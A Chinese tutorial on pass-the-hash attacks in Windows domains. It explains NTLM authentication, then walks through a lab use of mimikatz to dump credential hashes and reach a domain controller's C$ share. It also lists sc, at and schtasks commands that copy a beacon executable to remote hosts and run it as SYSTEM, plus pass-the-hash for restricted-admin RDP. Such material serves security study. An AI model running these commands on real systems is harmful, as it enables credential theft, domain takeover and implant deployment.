内网渗透-哈希传递

哈希传递

概念

早期SMB协议铭文在网络上传输数据,后来诞生了LM验证机制,LM机制由于过于简单,微软提出了WindowsNT挑战/响应机制,这就是NTLM

LM

image-20231009143812336

LM不安全,因为能逆向推算回去。

NTLM

image-20231009144007196

NTLM是安全的,因为使用了MD4哈希加密,哈希加密是不可逆的。

证明一个通信协议是否安全:在通信过程中,数据包能被任意的截取和修改,在这种情况下还能实现安全的传输。

原理

哈希传递是能够在不需要账号明文密码的情况下完成认证的一个技术,比如NTLM Hash、LM Hash都不需要明文密码,因此都可以被称为Hash传递攻击。

NTLM验证靠HASH值

1.获得一台域主机的权限
2.Dump内存获得用户hash
3.通过pass the hash尝试登录其他主机
4.继续搜集hash并尝试远程登录
5.直到获得域管理员账户hash,登录域控,最终成功控制整个域

image-20231009194723350

解释:

Client:客户端

server: 开了 3389 远程服务

现在实现客户端对3389端口的一个访问

1、 client发送账户名user到server

2、 server判断本地账户名是否存在,没有则失败,有的话生成challenge,查找user对应的NTLM哈希,使用哈希加密challenge,生成一个net-ntlm hash存在内存中,将challenge发送给client

3、 client接收到challenge以后,将自己的密码转换成NTLM哈希,用生成的哈希加密challenge生成response,发送response给server

4、server对比自己内存中的net-ntlm hash与client发来的response是否一致

注意:challenge每次认证都不一样,是一个随机生成的16字节随机数,response的形势与server生成的net-ntlm hash一个格式

​ 通过认证流程我们不难看出,只要有NTLM哈希在手,哪怕不知道明文密码也可以完成NTLM的认证。

利用

hash传递 浏览上传文件

​ 当域内的用户想要访问域中的某个服务时,输入用户名和密码访问,本机kerberos服务会向KDC的AS认证服务发送一个AS-REQ认证请求。该请求包中包含:请求的用户名、客户主机名、加密类型和Authenticator(用户NTLM Hash加密的时间戳)以及一些其他信息

​ 在AS-REQ阶段,是用用户密码Hash加密的Authenticator,所以也就造成了hash传递。我们只需要获取域用户Hash,同时目标机器开放smb服务,就可以进行Hash传递攻击。

mimikatz

privilege::debug      # 提升权限(注:需以管理员权限运行)
sekurlsa::logonpasswords  # 获取内存中保存的登录信息
sekurlsa::pth /user:administrator /domain:yao.com /ntlm:367df24fb9f4383da63664de503724e5

# 弹出新窗口
dir \\192.168.160.23\c$ # 查看域控C盘目录
实操:使用域中的一台机器通过哈希传递查看域控主机的C盘目录

域控主机:192.168.160.23

域内机器:192.168.160.30

条件:域控主机与域内机器的密码相同,也就是密码转换成的NTLM哈希值相同。

使用工具:mimikatz

以管理员身份打开 mimikatz

image-20231009195639105

输入privilege::debug 来提升权限

privilege::debug

解释:

privilege::debug是Windows系统上的一个命令,它用于提升当前进程的访问权限,使其能够以调试模式执行。

image-20231009195658731

输入sekurlsa:logonpasswords 来获取内存中保存的登录信息

sekurlsa:logonpasswords

解释:

通过该命令列出当前登录用户帐户在系统中保存的明文密码和NTLM哈希。

image-20231009195908409

得到了域内主机密码的NTLM哈希:367df24fb9f4383da63664de503724e5

然后输入

sekurlsa::pth /user:administrator /domain:yao.com /ntlm:367df24fb9f4383da63664de503724e5

解释:

  • sekurlsa::pth: 表示使用“pass-the-hash”攻击技术,通过传递哈希值跳过密码验证,从而获取管理员权限。
  • /user:administrator: 指定要攻击的目标账户为administrator,即攻击目标为该计算机或域控制器的Administrator账户。
  • /domain:yao.com: 指定域名为yao.com,即攻击目标在yao.com域中。
  • /ntlm:367df24fb9f4383da63664de503724e5: 指定要使用的NTLM哈希值为367df24fb9f4383da63664de503724e5,用于进行伪造票据攻击。

image-20231009200903112

此时会弹出命令窗口,接着输入dir \\192.168.160.23\c$ 查看域控的C盘目录

dir \\192.168.160.23\c$ 

image-20231009202011285

查看password.txt文件:

type \\192.168.160.23\c$\password.txt

image-20231009202420215



#sc命令创建计划任务 
copy beacon.exe \\10.10.10.254\c$ 
#sc命令远程创建名为test的服务 
sc \\10.10.10.254 create test binpath= "c:\beacon.exe" 
#远程查询名为test的服务
sc \\10.10.10.254 query test
#远程启动名为test的服务
sc \\10.10.10.254 start test
#远程删除名为test的服务
sc \\10.10.10.254 delete test

#at命令(计划任务) at命令在早期的Windows系统中⽀持,⽽新版本Windows已经⽤
schtasks命令取代at命令了。
#查看⽬标系统时间
net time \\10.10.10.254
#将本⽬录下的指定⽂件复制到⽬标系统中
copy vps.exe \10.10.10.254\c$
#使⽤at创建计划任务
at \10.10.10.254 14:37 C:\vps.exe
#清除at记录
at \10.10.10.254 做业ID /delete
#使⽤at命令执⾏,将执⾏结果写⼊本地⽂本⽂件,再使⽤type命令查看该⽂件的内容
at \10.10.10.254 17:00:00 cmd.exe /c "ipconfig > C:/1.txt "
#查看⽣成的1.txt⽂件
type \10.10.10.254\C$\1.txt

#schtasks命令(计划任务)
#在⽬标主机10.10.10.254上创建⼀个名为test的计划任务,启动权限为system,启动时间为每隔⼀⼩时启动⼀次
schtasks /create /s 10.10.10.254 /tn test /sc HOURLY /mo 1 /tr
c:\beacon.exe /ru system /f /U administrator /P 1234.com
其他启动时间参数:
	/sc HOURLY 每⼩时启动⼀次
	/sc onlogon ⽤户登录时启动
	/sc onstart 系统启动时启动
	/sc onidle 系统空闲时启动
#查询该test计划任务
schtasks /query /s 10.10.10.254 /U administrator -P 1234.com |
findstr test
#启动该test计划任务
schtasks /run /s 10.10.10.254 /i /tn "test" /U administrator -P
1234.com
#删除该test计划任务
schtasks /delete /s 10.10.10.254 /tn "test" /f /U administrator -P
1234.com

hash传递获取域控RDP

privilege::debug
sekurlsa::pth /user:administrator /domain:xiusafe.com
/ntlm:a803cf45d87009c404eb89df4b1ae94c "/run:mstsc.exe
/restrictedadmin"

image-20231009205530743

如果域控这个位置是灰⾊那就不允许这种⽅式登录,注册表还能挣扎⼀下。

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值